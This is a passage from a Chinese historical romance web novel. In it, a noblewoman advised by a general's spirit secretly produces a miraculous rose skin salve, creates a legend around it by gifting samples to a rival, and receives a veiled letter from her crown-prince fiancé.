那种感觉,就好像一只孔雀在向一只仙鹤炫耀自己的羽毛,仙鹤却只是淡淡地瞥了一眼,便自顾自地飞走了,连与它比较的兴趣都没有。
这比任何激烈的反驳,都更让人恼火。
第5章 第一炉膏脂
沈琉璃带着春桃,回到马车上。
春桃终于忍不住,一脸崇拜地说道:“小姐,您刚才真是太厉害了,那个苏晚晚,脸都气绿了!真是太过瘾了!”
她甚至还模仿了一下苏晚晚当时那副敢怒不敢言的表情,把沈琉璃都给逗笑了。
“不过是口舌之利罢了,算不得什么。”沈琉璃摇了摇头,脸上的笑意,却渐渐褪去。
“一个不错的下马威!”君北玄在她脑中评价道,“先声夺人,挫其锐气,看来你也不算太笨。”
“多谢王爷夸奖,”沈琉璃在心里回了一句,随即正色道,“不过,眼下我们有三个问题急需解决:货源、工坊、还有人手。”
“饭要一口一口吃,仗要一场一场打。”君北玄的声音沉稳下来,“先解决最核心的货源问题。你说的没错,北境的雪山玫瑰,在乾国都城是稀罕物,但并非完全没有。”
“哦?”
“北境的商队,偶尔会携带少量晒干的玫瑰花瓣南下,混在药材中出售,他们不识此物价值,只当是普通的活血药材。你若派人去京城所有药材行和西域商人聚集的‘暗市’里搜寻,定能有所收获。”
沈琉璃的眼睛亮了,这正是她所缺乏的情报。
“可我派谁去呢?”她犯了难,“此事必须绝对保密,春桃太扎眼,府里的人,我一个也信不过。”
她翻看着府里的账册,目光忽然定格在了一个不起眼的产业上。
“城西,德仁堂药铺一间。”
这是她母亲当年陪嫁过来的一家小药铺,因经营不善,连年亏损,几乎快被人遗忘了。
一个完美的掩护!
“我想到了一个人,”沈琉璃的脑海中,浮现出一个忠厚老实的身影,那是她母亲当年的陪房,忠叔。母亲去世后,忠叔便被柳氏寻了个由头,打发去了庄子上看管田地。
“把他叫回来,让他去打理这家药铺。”沈琉璃立刻做出了决定,“明面上,是让他盘活产业;暗地里,他的任务,就是不计成本,秘密收购市面上所有的雪山玫瑰。”
解决了货源,接下来是工坊。
这个更难,熬制膏脂,需要场地,需要用水,还可能会有药材的味道散发出去。
“你们父亲好歹是吏部尚书,家里就没有什么废弃的园子或者庄子吗?”君北玄鄙夷道。
沈琉璃再次翻开那本厚厚的册子,一页一页地仔细查找,终于,在一个不起眼的角落里,她找到了。
“京郊,废弃葡萄酒庄一座。”
她想起来了,这是她祖父当年心血来潮,学着西域人种葡萄、酿酒的地方。后来祖父去世,这酒庄便荒废了,地处偏僻,杂草丛生,平时连鬼都不会去一个。
那里有独立的院墙,有水井,更有冬暖夏凉,极其隐蔽的地下酒窖!
简直是天造地设的秘密工坊!
“太好了!”沈琉璃激动得差点叫出声来。
“别高兴得太早,”君北玄给她泼冷水,“你还需要绝对忠诚可靠的人手,这件事,知道的人越少越好。”
沈琉璃沉默了。
她信得过的,只有春桃和忠叔,可春桃要留在身边,忠叔要负责采购,熬制膏脂这种精细活,他们都做不来。
去哪里找这样的人呢?
沈琉璃看着窗外,陷入了沉思,忽然,她想起了父亲书房里,那些厚厚的卷宗。
那是父亲多年来,作为吏部尚书,提拔、帮助过的许多官员的档案。
其中,有一些官员,因公殉职,或是在政治斗争中落败,他们的家眷往往生活困苦,无依无靠。
一个计划在她心中成型。
她以“为亡母祈福,需人抄写经文”为由,通过父亲旧部的关系,寻访到了几位落魄官员的遗孀。这些妇人,都曾是知书达理的大家闺秀,如今却为了生计,不得不为人洗衣缝补。
沈琉璃没有直接说明意图,而是为她们在京郊置办了一处清净的宅院,以极高的酬劳,请她们“抄写佛经”。
她救她们于水火,给了她们尊严和体面。
她相信,用不了多久,这些人,就将成为她最忠诚的班底。
一切,都在暗中有条不紊地进行着。
忠叔的药铺开张了,他每天都像一只勤劳的鼹鼠,在京城各个角落里搜集着那珍贵的“红色黄金”。
废弃的酒庄,也以“修葺祖产”的名义,开始动工,明面上是翻新,暗地里,一个位于地下酒窖的工坊,正在悄然成型。
半个月后,一个深夜。
忠叔亲自赶着马车,将第一批雪山玫瑰干花瓣,秘密送到了酒庄。
地下工坊里,灯火通明。
沈琉璃换上了一身利落的布衣,长发高高束起,她站在一口半人高的铜鼎前,深吸了一口气。
在她面前,摆放着各种经过精心挑选的工具和材料。
万事俱备。
“准备好了吗?”君北玄的声音在她脑中响起,带着罕见的凝重,“熬制过程,极为复杂,对火候和时间的把握,要求分毫不差。一旦失败,这五斤重的花瓣,就将全部化为灰烬。”
沈琉璃看着鼎中那些承载着她全部希望的玫瑰花瓣,点了点头。
她知道,这一炉,只能成功,不能失败。
她伸出手,点燃了铜鼎下的第一簇火焰。
这场名为“财富”的战争,在此刻,正式打响了它的第一炮。
地下酒窖,安静得能听见灯花爆开的轻响。
沈琉璃的额头上,已经渗出了一层细密的汗珠,但她的眼神,却专注得像一位正在雕琢稀世珍宝的匠人。
“火候,再小半成。”君北玄的声音在她脑中响起,如同最精准的节拍器,“用银勺,顺时针搅拌九九八十一次,力道要匀,不能快,也不能慢。”
沈琉璃屏住呼吸,手腕平稳地转动着。
铜鼎中,雪狐的油脂早已完全融化,呈现出一种温润的色泽,经过特殊处理的雪山玫瑰花瓣,在油脂的浸润下,正缓缓地释放出其中最精纯的红色精华。
整个过程,繁复而漫长。
从花瓣的碾磨,到油脂的提纯,再到几种辅料的投放时机,君北玄都给出了精确的指示。
而沈琉璃,则展现出了超乎想象的天赋,她仿佛与君北玄的灵魂达成了某种奇妙的共鸣。他的每一个指令,她都能心领神会,并用一双巧手,完美地执行出来。
“就是现在,”君北玄忽然低喝一声,“加入冰蚕丝的提取液,快!”
沈琉璃手腕一翻,一小瓶早已备好的透明液体,被倒入铜鼎之中。
“嗡——”
铜鼎发出一声轻微的嗡鸣,鼎中原本还在沸腾的膏脂,瞬间安静了下来。那股醉人的香气,仿佛被一张无形的网牢牢锁住,不再向外扩散,反而向内凝聚,愈发醇厚。
一股淡淡的粉色,从膏体中心,缓缓地晕染开来。
成了。
当最后一缕青烟散去,鼎中出现了一层状如美玉的膏体时,饶是君北玄,也在心中,长长地舒了一口气。
沈琉璃更是累得几乎虚脱,她看着自己的第一个“作品”,眼中充满了难以言喻的喜悦。
她小心翼翼地用玉勺刮取了一点,放在手背上。
膏体触手冰凉,却在接触到皮肤的瞬间,便迅速融化,仿佛被肌肤“吃”了进去,没有丝毫油腻之感。一股似有若无的玫瑰香气,缓缓散发开来,与市面上那些刺鼻的香粉味,截然不同。
“这……这简直是神物!”一旁的春桃,早已看得目瞪口呆。
“是不是神物,试过才知道。”沈琉璃微微一笑,将目光投向了春桃。
春桃的左手手背,前几日不小心被开水烫到,留下了一小块红色的印记,虽已无大碍,但看起来总归有些不雅。
沈琉璃将那一点膏脂,轻轻地涂抹在了那块红印上。
当夜,主仆二人便歇在了酒庄。
第二日清晨,当春桃睡眼惺忪地醒来,下意识地去看自己的手背时,一声不敢置信的尖叫,划破了清晨的宁静。
“啊!小姐,小姐您快看!”
沈琉璃快步走过去,只见春桃左手手背上,那块原本清晰可见的红色印记,竟已完全消失。不仅如此,涂抹过膏脂的那一小块皮肤,变得比周围的皮肤更加白皙,甚至在晨光下,透着一层莹润的光泽。
效果,比君北玄描述的,还要惊人!
“小姐,这……这是仙膏啊!”春桃激动得语无伦次。
“不是仙膏,是我们的‘黄金’。”沈琉璃的心,彻底定了下来。
她知道,从这一刻起,她手中掌握的,不再仅仅是一个能让她赚钱的方子。
更是一个足以颠覆整个乾国市场的王牌!
第6章 北境之霜vs玉容膏
接下来的几日,沈琉璃将自己关在房间中,把熬制出的所有膏脂,小心翼翼地分装进素雅的白瓷小圆盒里。
盛放膏体的小圆盒,是从景镇定制的,光是盒子就价值不菲。
她要的,不仅仅是一件商品,而是一件值得所有女人,去珍藏的艺术品。
当她亲手,在第一只瓷盒上,用小楷写下“玉容膏”这三个字时……
“……玉容膏。”君北玄的声音在她脑中响起,“听起来就软绵绵的,毫无气势,不如叫‘北境之霜’,彰显其来历不凡。”
沈琉璃手上的动作一顿,差点把一滴珍贵的膏体滴在桌上。
她哭笑不得地在心里回应:“王爷,我们卖的是能让女人变美的东西,不是用来治冻疮的药膏。‘北境之霜’听起来就像是你们军营里发给士兵,用来抹在大糙手上的东西。我们的客人,想做的是不食人间烟火的仙女,不是您麾下那些士兵。”
君北玄:“那就叫‘战痕雪’!再深的伤痕,也能一抹即消!”
沈琉璃:“……王爷,我的客人们,是去参加宴会的,不是去参加战斗的。”
君北玄:“那就叫‘还我漂漂膏’?”
沈琉璃:“您还是别说话了……”
“……妇人见识!”君北玄被噎了一下,冷哼一声,算是默认了“玉容膏”这个名字。
“好了,名字定了。”沈琉璃盖上最后一个盒盖,眼中闪烁着兴奋的光芒,充满了对未来的憧憬,“现在,我们有了天下最好的‘武器’,下一步,该如何‘进攻’呢,我的大将军?”
“这还用问?”君北玄的战略思维立刻被激活,充满了不容置疑的决断力,“兵贵神速!你的‘武器’远胜于敌人,此刻敌军军心未稳,正是我方发动总攻的最好时机!”
“你的意思是……我们现在就开店售卖?”沈琉璃心中问道。
“不只是开店!”君北玄的声音里充满了宏大的构想,“要开,就在京城最繁华的四条主街,同时开四家店,形成合围之势!店面要大,人手要多,价格要比‘百花阁’低一成,以雷霆万钧之势,迅速抢占她们的市场!让她们的客人,一夜之间,全部倒戈!这叫‘闪电战’!”
沈琉璃听着他这番豪情万丈的“商业计划”,嘴角忍不住抽了抽。
“王爷……我再请教一下。”
“说!”
“您这套‘闪电战’,是不是也同样适用于卖烧饼?”
君北玄再次被噎住:“……你什么意思?!”
“我的意思是,”沈琉璃扶着额头,感觉有些无力,“您这套方案,是用来占领市场的没错。但占领的是‘大白菜’和‘烧饼’的市场,而不是‘稀世珍宝’的市场!我们要做的是独一无二的奢侈品,不是人手一份的军粮!”
“有何区别?”君北玄理直气壮地反问,“好东西,自然应该让更多人拥有,才能彰显其价值!”
“天哪……”沈琉璃感觉自己像在教一个三岁小孩,“王爷,您听好了,女人的世界里,‘价值’这个词,有时候和‘拥有的人数’是成反比的。一样东西,如果我能轻易买到,我的邻居能买到,街上所有的女人都能买到,那它在我眼里,就一文不值了!”
“不可理喻!简直是歪理邪说!”君北玄感觉自己的世界观受到了巨大的冲击。
“这不是歪理,这是人性!”沈琉璃决定给他来个猛药,“那我问你,如果全天下的男人,都穿上和皇上一样的龙袍,那皇上那件,还值钱吗?”
“你这是谋逆!”说完,君北玄这次,终于沉默了。
过了许久,他才用一种极其不情愿的语气,闷闷地问道:“那……依你之见,该当如何?”
看到这位不可一世的将军终于“服软”,沈琉璃心中暗笑,这才抛出了自己的想法:“我的想法是,不开店则已,要开,就只开一家,全京城,独此一家。而且要装修得比皇宫还奢华,要让所有女人都觉得,能踏进我的店,本身就是一种荣耀。”
“固守一点,坐等敌人四面围攻?这是兵家大忌!愚蠢!”君北玄想也不想,立刻全盘否定,“你这是在建一座漂亮的靶子,等着别人来打!”
“那你说怎么办?!”沈琉璃也有些生气了,这也不行,那也不行!
“你的想法,太保守!太被动!”君北玄的声音陡然拔高,充满了颠覆性的念头,“我们为何要‘开店’?为何要‘售卖’?这种按部就班的方式,是商贾的愚笨做法!真正的兵法,是无形之刃,杀人于千里之外!”
“说人话!”
“我们不做生意,我们创造一个传说!”君北玄的声音里,充满了统帅的魄力,“都城的贵妇们,从不追逐最好的东西,她们只追逐最难得到的东西。我们要做的,就是让这‘玉容膏’,成为一个她们有钱也买不到的传说!”
“你的意思是……”沈琉璃好像隐隐抓到了什么。
“没错!”君北玄一字一顿,说出了他那石破天惊的计划,“将我们手中这第一批‘玉容膏’,全部,免费送出去!”
“全部送出去?!”春桃在一旁听得差点跳起来,她听不懂什么兵法不兵法的,她只听到小姐说免费送出去,“小姐!这可是用五十两银子一两的玫瑰花瓣做的啊!这么送出去,我们得亏死啊!”
“不,”沈琉璃在经过最初的震惊后,却迸发出了与君北玄如出一辙的想法。她终于完全领会了这位将军的意图,他虽然不懂女人,但他太懂人性了。
“这不是亏损,春桃。”她摇了摇头,声音里充满了难以抑制的兴奋,“这是投资。是让我们的‘武器’,以一种敌人绝对意想不到的方式,投放到她们的‘指挥部’去。”
她铺开一张京城贵女关系图,这张图,是通过她这半个月来的打探,亲手绘制的。上面密密麻麻地标注着每一个家族,每一个人的关系、喜好和弱点。
她的手指,缓缓地在图上移动着。
最终,她的指尖,点在了一个所有人都意想不到的名字上。
“我们的第一个目标,不是朋友,而是敌人。”
她看着那个名字,轻声念道:“礼部侍郎府,苏晚晚。”
“苏晚晚?”
侍女春桃听到这个名字,第一个跳了起来,脸上写满了不解:“小姐,您没弄错吧,苏晚晚可是处处与您作对,上次在‘百花阁’还那般羞辱您。我们有这等神物,为何要白白送给她?她不把东西直接扔了,或是反过来嘲笑您,奴婢都觉得是太阳打西边出来了!”
君北玄的声音,也带着探究的意味在沈琉璃脑海中响起:“兵行险着,将你最珍贵的首批‘武器’,赠予你的敌人,说说你的理由。”
这次他没有直接否定,让沈琉璃心中稍定,她知道,这位挑剔的“将军”,只看重结果。
“我选她,正是因为她是我的敌人。”
沈琉璃走到那张她亲手绘制的京城贵女关系图前,指尖点着“苏晚晚”的名字,眼中闪烁着运筹帷幄的光芒。
“春桃,你想想,如果我把‘玉容膏’送给我的朋友,就算效果再好,旁人听说了,也只会觉得是朋友间的互相吹捧,信者寥寥。可如果,连我最大的死对头,都为这‘玉容膏’的效果而折服,甚至为之疯狂,那这个消息传出去,可信度会有多高?”
春桃似懂非懂地点了点头。
君北玄则是一针见血地评价道:“借敌之口,传我之名,以子之矛,攻子之盾。有点意思。”
“这只是其一,”沈琉璃继续说道,她的思路愈发清晰,“更重要的是,我了解苏晚晚。她是全京城最爱美的女人,她的脸面,比她的命还重要。全京城的贵女,都以她的穿着打扮为风向。可以说,她本人,就是京城里行走的‘风向标’。”
“风向标?”君北玄沉吟道,“你的意思是,军队里的‘帅旗’,帅旗所指,大军所向。”
“将军果然一点就通。”沈琉璃微微一笑,“没错,我们这位‘帅旗’,还有一个致命的弱点。”
她压低声音,说出了秘密:“苏晚晚有很严重的皮肤问题。每到换季,她的脖颈和耳后,都会起一片细小的红疹,她平日里都用极厚的香粉来遮盖,但这是她最大的心病。我敢断定,‘百花阁’所有产品,都治不好她的这个毛病。”
君北玄瞬间明白了她的全部计划。
“用她最渴望的东西,做诱饵,在她最脆弱的地方,给予致命一击。让她在不知不觉中,从你的敌人,变成你最得力的传声筒。“他的声音里,充满了对这种攻心计的欣赏,“很好,这是阳谋,更是诛心之计,本王准了。”
计划既定,执行的细节便成了关键。
直接派人送去,只会被扔出来,沈琉璃早已想好了对策。
她取来两个一模一样的白瓷小圆盒,将“玉容膏”分装进去。随即,她提笔,用一种全然陌生的字体,写下了一张字条。
字条上的话,充满了挑衅与诱惑:
“闻京华有姝,名唤晚晚,然美玉微瑕,殊为可惜,此物或可助汝,臻于完美。信,或不信,皆在一念之间,倾慕汝之无名客。”
她没有署名,她要的,就是这种神秘感。
她要亲手,为京城第一美人苏晚晚,送去一份最甜蜜的“祝福”和一份她无法拒绝的“战书”。
第7章 传说的诞生
晚晴居内,沈琉璃重新拿起笔,准备写第二张字条。
“为何要准备两份?”君北玄问道。
“战争,需要主力,也需要侧翼。”沈琉璃狡黠一笑,“苏晚晚是主攻目标,但我们还需要一个‘流言’的散播者。”
她将第二份,连同另一张内容相似的字条,装进了另一个礼盒,而这个礼盒的接收人,是安远侯府的庶女,李思思。
此女地位不高,却是京城有名的“包打听”,与各家府邸的丫鬟婆子关系都极好,任何风吹草动,都瞒不过她的耳朵。
做完这一切,沈琉璃没有动用沈府的任何一个下人。她拿出了自己刚刚掌管中馈后,积攒下来的第一笔月钱,雇佣了京城最有名的“四方镖局”,让他们将两个礼盒,分别送往礼部侍郎府和安远侯府。
夜色中,两个不起眼的礼盒,就这样被悄无声息地送了出去。
礼部侍郎府,苏晚晚的闺房内。
她看着桌上那个来路不明的白瓷盒子,还有那张措辞暧昧的字条,气得俏脸通红。
“无名客,倾慕我,我看是哪个登徒子,想要羞辱我。”她抓起盒子,就要往地上砸去。
“小姐,使不得。”她身边的贴身大丫鬟连忙拦住,“这字条上说‘美玉微瑕’,还说能助您‘臻于完美’,他是不是知道您的……”
丫鬟没敢说下去,但苏晚晚的动作,却瞬间僵住了。
“隐藏的瑕疵”……
这个词,像一根针,狠狠地刺中了她内心最深处的隐痛,她下意识地摸了摸自己脖颈后方那片略显粗糙的皮肤。
她的骄傲和她的不安,在心中激烈地交战着。
最终,对完美的追求,战胜了那可笑的自尊。
“哼,我倒要看看,是什么东西,敢夸下如此海口。”她咬了咬牙,打开了那个白瓷小盒。
一股清雅绝伦的异香,瞬间溢满了整个房间。
苏晚晚的闺房中,弥漫着那股清冷而独特的玫瑰异香。
她本是“百花阁”最顶级的拥趸,对各种名贵香料了如指掌,可眼前这瓷盒中传来的香气,与她所知的所有香气都截然不同。
它不浓郁,不甜腻,像带着北境雪山的风,清冽而悠远,钻入鼻息,竟让人感觉心神都为之一清。
“小姐,这……这是什么香膏?好香啊……”大丫鬟也忍不住凑上前来,满眼惊奇。
苏晚晚心中那点疑虑,在闻到这股香气后,便消散了大半。
能拥有如此奇香之物,赠礼之人,定非凡俗。
但她生性多疑,自然不会轻易将这来路不明的东西涂抹在自己脸上,她沉吟片刻,对丫鬟吩咐道:“去,把后院那只最爱掉毛的波斯猫抓来。”
半个时辰后,在那只可怜的波斯猫背上的一小块皮肤上,被小心翼翼地涂上了一层薄薄的玉容膏。
一夜过去,苏晚晚几乎没怎么睡好。
天刚亮,她便迫不及待地冲到后院,当她拨开那只波斯猫背上的毛发时,整个人都愣住了。
只见被涂抹过膏体的那一小块皮肤,不仅没有任何红肿过敏的迹象,反而原本有些稀疏的毛发下,皮肤变得光滑细腻,甚至连一些陈年的小瘢痕,都淡化了许多!
苏晚晚的呼吸,瞬间变得急促起来。
她不再有任何犹豫,立刻回到房中,关上房门,取过那只白瓷小盒,用玉勺小心翼翼地刮取了一点,涂抹在了自己脖颈后方那片最让她烦恼的红疹之上。
膏体触感冰凉,吸收极快,没有丝毫油腻。
第二天清晨,当她用镜子照向脖颈时,看到了让她不敢相信的一幕:那片纠缠了她数年的红疹,竟已消退了大半!
第三天,红疹完全消失,皮肤光洁如新,甚至比别处的皮肤更加白皙细腻。
苏晚晚对着镜子,看着自己那张再无半点瑕疵的脖颈,激动得浑身发抖。
她欣喜若狂!
这简直是神药,不,是仙膏!
有了这东西,她苏晚晚,将真正成为最完美无瑕的第一美人!
恰在此时,宫里传来消息,皇太后将在三日后,于皇家西山别苑举办一场规模盛大的赏花宴,邀请了京城所有三品以上官员的适龄贵女。
这是开春以来,京城最大的一场社交盛会,因为谁都知道,皇太后年事已高,又无公主承欢膝下,她对这些贵女们的喜爱,有时甚至能影响到她们父兄在朝堂上的境遇。
苏晚晚知道,她的机会来了。
三日后,皇家西山别苑,百花盛开,人头攒动,衣香鬓影。
当苏晚晚身着一身华美的云锦长裙,出现在众人面前时,整个花园仿佛都安静了一瞬。
所有人的目光,都被她吸引了过去。
今日的她,与往日不同,她没有涂抹厚厚的香粉,脸上只施了最清淡的妆容,可她的皮肤,却好到一种令人发指的地步。
在午后的阳光下,那张脸仿佛是上等的羊脂白玉雕琢而成,细腻、莹润,散发着一层健康而迷人的光泽。
“天哪,晚晚,你今天……也太美了吧!”
“你的皮肤怎么会这么好,你用的究竟是‘百花阁’的哪款新品?”
一群贵女立刻围了上来,叽叽喳喳地询问着,眼中充满了毫不掩饰的嫉妒。
苏晚晚享受着这众星捧月的感觉,心中充满了前所未有的满足。
她本想将这个秘密永远藏在心底,可面对如此多的追捧,她那强烈的虚荣心,终究还是战胜了理智。
她故作神秘地微微一笑,用一种略带炫耀的口吻说道:“‘百花阁’,那些凡品,如何能与我用的东西相比?”
“那究竟是什么呀?”众人追问得更紧了。
苏晚晚叹了口气,脸上露出一副“既甜蜜又烦恼”的表情:“唉,我也不知,是一位倾慕我的神秘人所赠。只知道,是装在一个素雅的白瓷小盒里,除此之外,便再无任何信息了。”
她这番话说得半真半假,却瞬间引爆了全场!
神秘人,神仙膏脂,白瓷小盒!
这些充满戏剧性的元素,如同长了翅膀一般,在极短的时间内,传遍了整个赏花宴。
到了傍晚,几乎整个京城上流圈子,都在议论着这件事。
一个传说,就此诞生:有一个神秘的“无名客”,掌握着能让人容颜完美的“神药”,而这神药,只赠予他所认可的美人。
它没有名字,没有店铺,更没有价格。
它,是身份与气运的象征。
晚晴居内,沈琉璃听着忠叔派人传回来的消息,脸上露出了满意的笑容。
君北玄在她脑中冷哼一声:“这些女人,真是愚蠢,一点小小的手段,就让她们趋之若鹜。”
“不,王爷,你错了。”沈琉璃摇了摇头,“她们追逐的,不是‘玉容膏’。她们追逐的,是‘传说’,是‘独一无二’,是‘高人一等’的资格。而我们,成功地创造了这个传说。”
第一步,大获全胜。
传说一旦诞生,发酵的速度是惊人的。
在接下来的几天里,“神秘白瓷盒”的故事,成了京城贵妇圈最热门的话题,无数人都在暗中打探,那个“无名客”究竟是谁,那神奇的膏脂,又究竟是何物。
安远侯府的庶女李思思,在收到那份匿名赠礼后,虽不如苏晚晚那般引人注目。却也在自己的小圈子里,将这个故事添油加醋地传播了出去,一时间,真假消息满天飞,更是为这件事增添了无数的神秘色彩。
有人说,那是一位游戏人间的世外高人所制。
有人说,那根本就是宫里流出来,太后私藏的秘方。
甚至有人说,那是一只修炼千年的狐狸精,为了报恩,才赠予凡人的礼物。
版本越传越离谱,但核心只有一点,那东西,是神物,是花多少钱也买不到的奇珍。
而在这场舆论狂欢中,最痛苦的,莫过于“百花阁”。
“百花阁”的掌柜钱夫人,这几天急得嘴上都起了燎泡,店里的生意一落千丈。那些平日里一掷千金的贵妇们,如今来店里,开口闭口都是“神秘白瓷盒”,还拿着“玉肌膏”反复察看,言语间充满了嫌弃。
钱夫人发动了所有的人脉去调查,却一无所获。
那个神秘的对手,就像一个不存在的幽灵,你看不到他,却能感受到他带来的巨大压力。
另一边,始作俑者苏晚晚,也陷入了新的烦恼。
她那一小盒“玉容膏”,已经快要见底了,可那位“无名客”,却再也没有出现过。她每天都活在焦虑中,生怕用完之后,自己那完美的皮肤就会被打回原形。
无数平日里的“好姐妹”,都借着拜访的名义,前来向她旁敲侧击,甚至有人暗示,愿意花一千两银子,只为换她手里剩下的那一点点膏底。
一千两!
当这个消息,传到躲在幕后的沈琉璃耳中时。
她只是,缓缓地,将手中的茶杯放下,看着窗外那轮即将圆满的明月。
她的眼中,闪烁着炙热的光芒。
她知道,鱼,已经养肥了。
是时候……收网了。
第8章 千里外的来信
“小姐!一千两!一千两啊!”
晚晴居内,春桃激动得满脸通红,在房间里来回打转,挥舞着小拳头,“就那么一点点膏底,就值一千两!小姐,我们发财了!我们快开店吧!就在朱雀大街,开一家比‘百花阁’还大、还气派的铺子!把他们的客人都抢过来!肯定能赚翻天!”
沈琉璃还没来得及说话,君北玄那充满了赞同的声音,就已经在她脑海中响起了。
“没错!你这丫鬟,总算说了句有见识的话!”他显然也处于一种“大获全胜”的兴奋之中,“兵贵神速!敌人现在阵脚大乱,军心涣散,正是我们乘胜追击、扩大战果的最好时机!我们必须马上将我们的‘武器’进行量产,并迅速铺开销售渠道,以迅雷不及掩耳之势,占领整个市场,让敌人没有丝毫喘息之机!”
“唉……所以说,你根本不懂女人!”沈琉璃简直痛心疾首,开始给她这位“直男”盟友,科普起了女性的消费心理学。
“你什么意思?!”君北玄的怒气值瞬间就上来了。
“王爷,你要记住,我们卖的,从来都不是一盒护肤品。我们卖的,是‘稀有’,是‘传说’,是‘我能拥有而你没有’的优越感!你开店铺,那不叫占领市场,那叫‘掉价’!是自毁长城!”
“我……本王……”君北玄感觉自己的脑子有点不够用了。
他能理解千军万马的冲锋,能看懂最复杂的阵法,却理解不了这套“越难买就越想买”的奇怪逻辑。
沈琉璃喘了口气,继续说道:“所以,我们不仅不能开店,还要……”
“还要控制产量,限量发售!”君北玄立刻抢过了话头,他的战略思维一旦被点通,便开始以惊人的速度运转起来,“不仅要限量,还不能明码标价!要让她们去争,去抢!让价格在她们的互相攀比中,达到顶峰!对,拍卖!这是一个绝佳的办法!拍卖,本身就是一场没有硝烟的战争,能将这群女人的虚荣心,利用到极致!”
沈琉璃看着这位“无师自通”的王爷,眼中露出了由衷的佩服。他的野心,他的格局,一旦用对了地方,简直可怕得惊人。
他们要的,不是一个成功的商品,而是一个至高无上的奢侈品!
“那我们下一步该怎么做?”她这一次,是发自内心地虚心求教。
“很简单……”
君北玄为沈琉璃规划了第二步的战略:
第一,绝不开设任何店铺。
第二,与都城最顶级的的拍卖行合作。
第三,每个月,只提供十盒“玉容膏”,进行公开拍卖,价高者得。
“我们要让京城所有的贵妇,为了这十个名额,争得头破血流。我们要让‘玉容膏’的价格,达到一个她们需要仰望的高度。到那时,拥有‘玉容膏’,将不再只是为了美丽,而是一种身份的象征。”
沈琉璃听得心潮澎湃。
这个男人,即便身处逆境,其眼界和格局,依然是帝王级别的。
她立刻行动起来,通过忠叔这条线,以一个匿名身份,与乾国都城最顶级的拍卖行,“四海珍宝阁”的掌柜取得了联系。
当听闻那传说中的“神秘膏脂”要进行公开拍卖时,“四海珍宝阁”的掌柜激动得差点当场失态,他立刻以最高的规格,将这个消息放了出去。
消息一出,整个京城上流社会,彻底沸腾了。
就在沈琉璃的计划,进行得如火如荼时,一封来自大徽王朝的信,却如同一块巨石,投入了她平静的心湖。
信,是从大徽王朝的东宫送来的。
执笔人,是她那素未谋面的未婚夫,太子,君怀瑾。
信的内容,很短,也很客气。无非是些寻常的问候,关心她在家中是否安好,备嫁是否顺利。
可在这封信的末尾,却有一行看似不经意的附言。
“孤近日听闻,乾国都城出现了一款神奇的‘玉容膏’,有脱胎换骨之效。未曾想,孤的未婚妻,竟是位深藏不露的奇女子。孤,心甚悦之,亦甚奇之。”
看着那一行温润的字迹,沈琉璃脸上的笑容,却缓缓地凝固了。
她所有的动作,自以为隐秘,却原来,早已落入了未来夫君的眼中。
这场战争,在她还未踏上牌桌之时,真正的对手,就已经提前向她,发出了第一声问候。
夜,静得可怕。
那封来自大徽东宫的手信,就如同一张无声的判决书,静静地躺在桌上。信纸上,君怀瑾那温润如玉的字迹,在沈琉璃眼中,仿佛化作了一只只冰冷的眼睛,正从千里之外,一眨不眨地注视着她的一切。
她的心,一点一点地沉了下去。
她自以为隐秘的布局,原来,早已是别人局中的一景。她还未踏上大徽的土地,那里的主人,就已经用一种最傲慢的方式,向她宣告了主权。
“君怀瑾……”君北玄的声音在她脑海中响起,充满了毫不掩饰的厌恶,“他永远都是这副样子,笑里藏刀,温言如蜜。内里却比谁都狠,这不是问候,沈琉璃,这是一封战书。”
“我明白,”沈琉璃缓缓点头,声音有些发紧,“他是在警告我,也是在提醒我,谁才是棋手,谁才是棋子。”
“所以,你必须反击。”君北玄的声音陡然变得锐利,充满了将军的决断力,“而且必须强而有力,让他知道,你不是任人拿捏的软柿子!”
“如何反击?”沈琉璃问道。
“很简单!”君北玄的思维快如闪电,立刻给出了一套完整的“作战方案”,“回信!你的回信,要滴水不漏,更要暗藏机锋。你要‘感谢’他的夸奖,然后‘谦虚’地表示,你之所以会经营这些‘小玩意’,只是因为担心自己不善理财,将来会让太子殿下的后院账目不清,堕了东宫的威严。”
“你把所有的事情,都归结到‘为了太子的体面’上,这叫‘先发制人’,将他可能发起的攻击,提前化解,并把压力,重新抛回给他!”
君北玄的这番话,充满了男人对抗性的思维。
在他看来,面对挑衅,最好的防守就是进攻,要立刻划清界限,展现自己的力量,才能赢得尊重。
然而,沈琉璃听完,却轻轻地摇了摇头。
“不行。”
“为何不行?”君北玄的声音里充满了被否定的不悦,“这是最直接有效的办法!”
“不,王爷,你错了。”沈琉璃轻声说道,她的声音不大,却异常坚定,“那是你,一个男人,用来对付另一个男人的办法。可我,是一个女人,是他未来的妻子,如果我真的这么回信,他看到的,不会是我的‘聪慧’,只会说我‘工于心计’。”
君北玄沉默了。
沈琉璃继续说道:“你想要赢得一场战役,而我,首先要赢得我的婚姻。在一个把‘女子无才便是德’奉为准则的世界里,我的‘才华’,本身就是一种原罪。”
“我若将它化作武器,只会让自己死得更快。你所说的‘力量’,会把我推向火坑,而我只有‘示弱’,才是我最好的铠甲。”
“示弱?”君北玄的语气里充满了鄙夷,“向你的敌人摇尾乞怜?”
“不,”沈琉璃的眼中闪过狡黠的光芒,那是与君北玄截然不同,属于女性的智慧,“我不是要向他摇尾乞怜,我是要让他觉得,我所做的一切,都不过是小女孩的胡闹,上不得台面。”
“我要让他觉得,他一眼就看穿了我所有的小把戏,从而获得一种智力上的优越感。我要让他觉得,我不是一个需要提防的对手,只是一个有点小聪明,但最终还是要完全依附于他的妻子。”
“这……这简直是妇人之见,荒唐!”君北玄气得在她脑子里来回踱步,“你这是在助长他的气焰!”
“王爷,你真的不懂女人,更不懂帝王心术。”沈琉璃叹了口气,“对于君怀瑾那样的男人来说,一个能干的下属,远比一个能干的妻子,要让他安心得多。我的‘能干’,只会让他警惕,而我的‘愚蠢’,才会让他愉悦。”
沈琉璃已经想好了自己的反击方案。
那不是一封充满了讥讽的信,而是一份充满了仰慕的“投名状”。
“我要给他回信,”沈琉璃的嘴角,勾起一抹神秘的微笑,“不仅要回信,我还要送他一份大礼。”
“什么大礼?”
“当然是我们最完美的‘作品’,第一批‘玉容膏’中,最好的一盒。”
君北玄的声音瞬间拔高:“你疯了,那是我们的武器,你怎么能把它交到敌人手上?”
“不,王爷。”沈琉璃走到桌前,铺开信纸,提起笔,眼中闪烁着自信的光芒,“我不是在交出武器,我是在递上一面镜子,一面只会照出他自己有多么英明神武的镜子。”
“而且,”她蘸饱了墨,笔尖悬于纸上,轻声笑道,“我还要让他,心甘情愿地,成为我们‘玉容膏’,在这世上最尊贵的客人和最卖力的宣传者。”
君北玄彻底无言以对。
